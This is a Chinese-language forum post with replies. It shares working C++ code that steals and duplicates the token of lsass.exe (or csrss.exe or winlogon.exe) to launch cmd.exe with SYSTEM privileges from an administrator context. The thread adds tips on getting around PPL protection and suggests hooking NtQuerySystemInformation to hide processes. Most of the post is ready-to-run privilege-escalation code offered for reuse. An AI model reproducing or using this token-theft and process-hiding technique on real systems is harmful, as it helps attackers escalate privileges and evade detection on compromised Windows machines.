进程提升至System权限，附代码

你好，再见

具体流程如下：
管理员权限运行 -> 进程提权至 Debug -> OpenProcess (“csrss.exe”) -> OpenProcessToken -> DuplicateToken -> CreateProcessWithToken
如果想要复制的令牌目标进程是 lsass.exe 或者 winlogon.exe 可以不用提权至 Debug，这与系统的 PPL 保护机制有关。
另外如果要复制csrss.exe的令牌，第70行代码要修改为ZwOpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken);





为了方便我使用了 phnt.h，你可以自己手动 typedef 代码中出现的几个 Zw * 函数。

[C++] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91

#include <iostream> #include <phnt_windows.h> #include <phnt.h>    #pragma comment(lib, "ntdll.lib") #pragma comment(lib, "Kernel32.lib") #define PHNT_VERSION PHNT_WINDOWS_11 // Windows 11    int main() {         HANDLE hCurrentToken;         ZwOpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hCurrentToken);         LUID luid;         LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luid);         TOKEN_PRIVILEGES PrivToken;         PrivToken.PrivilegeCount = 1;         PrivToken.Privileges[0].Luid = luid;         PrivToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;     AdjustTokenPrivileges(hCurrentToken, FALSE, &PrivToken, sizeof(TOKEN_PRIVILEGES), NULL, NULL);            ULONG bufferSize;         PVOID buffer;         NTSTATUS status = ZwQuerySystemInformation(SystemProcessInformation, nullptr, 0, &bufferSize);         //if (!NT_SUCCESS(status)) {         //        std::cerr << "error" << std::endl;         //}            buffer = malloc(bufferSize * 2);            status = ZwQuerySystemInformation(SystemProcessInformation, buffer, bufferSize * 2, nullptr);         //if (!NT_SUCCESS(status)) {         //        std::cerr << "error" << std::endl;         //}            PSYSTEM_PROCESS_INFORMATION sysInfo = reinterpret_cast<PSYSTEM_PROCESS_INFORMATION> (buffer);         //free(buffer);            std::wstring processName;         ULONG processPid;         while (true) {                 if (sysInfo->ImageName.Buffer) {                         processName = sysInfo->ImageName.Buffer;                 }                                   if (processName == L"lsass.exe") {                         processPid = HandleToULong(sysInfo->UniqueProcessId);                         break;                 }                    //if (sysInfo->NextEntryOffset == 0) {                 //        std::cerr << "lsass.exe not found!" << std::endl;                 //        break;                 //}                    sysInfo = reinterpret_cast<PSYSTEM_PROCESS_INFORMATION>((PUCHAR)sysInfo + sysInfo->NextEntryOffset);            }            HANDLE hProcess;         OBJECT_ATTRIBUTES obj;         InitializeObjectAttributes(&obj, NULL, NULL, NULL, NULL);         CLIENT_ID client_id = {};         client_id.UniqueProcess = ULongToHandle(processPid);         status = ZwOpenProcess(&hProcess, PROCESS_QUERY_LIMITED_INFORMATION, &obj, &client_id);         //if (!NT_SUCCESS(status)) {         //        std::cerr << "ZwOpenProcess error" << std::endl;         //}            HANDLE hToken;         status = ZwOpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, &hToken);         //if (!NT_SUCCESS(status)) {         //        std::cerr << "ZwOpenProcessToken error" << std::endl;         //}            HANDLE hDpToken;         status = ZwDuplicateToken(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDpToken);            STARTUPINFO startupInfo = { 0 };         startupInfo.cb = sizeof(STARTUPINFO);         PROCESS_INFORMATION processInfo = { 0 };         CreateProcessWithTokenW(hDpToken, LOGON_WITH_PROFILE, L"C:\\Windows\\system32\\cmd.exe",                 const_cast<LPWSTR>(L"/k whoami"), 0, NULL, NULL, &startupInfo, &processInfo);                   //system("pause");            CloseHandle(hDpToken);         CloseHandle(hToken);         CloseHandle(hProcess);         free(buffer);         CloseHandle(hCurrentToken); }

ywtvag

有没有可以隐藏进程的易代码？

你好，再见

ywtvag 发表于 2025-4-1 10:39
有没有可以隐藏进程的易代码？

32位系统可以尝试hook相关进程的NtQueryInformationSystem函数

bester

账户非admin,在user用户组下也可以使用该代码自提权到system?

你好，再见

bester 发表于 2025-4-1 11:18
账户非admin,在user用户组下也可以使用该代码自提权到system?

不可以，第一步OpenProcess("lsass.exe")就会失败，必须是管理员账户且通过UAC才行
标准账户连安全软件也启动不了吧

shiqiang

感谢分享，收藏备用。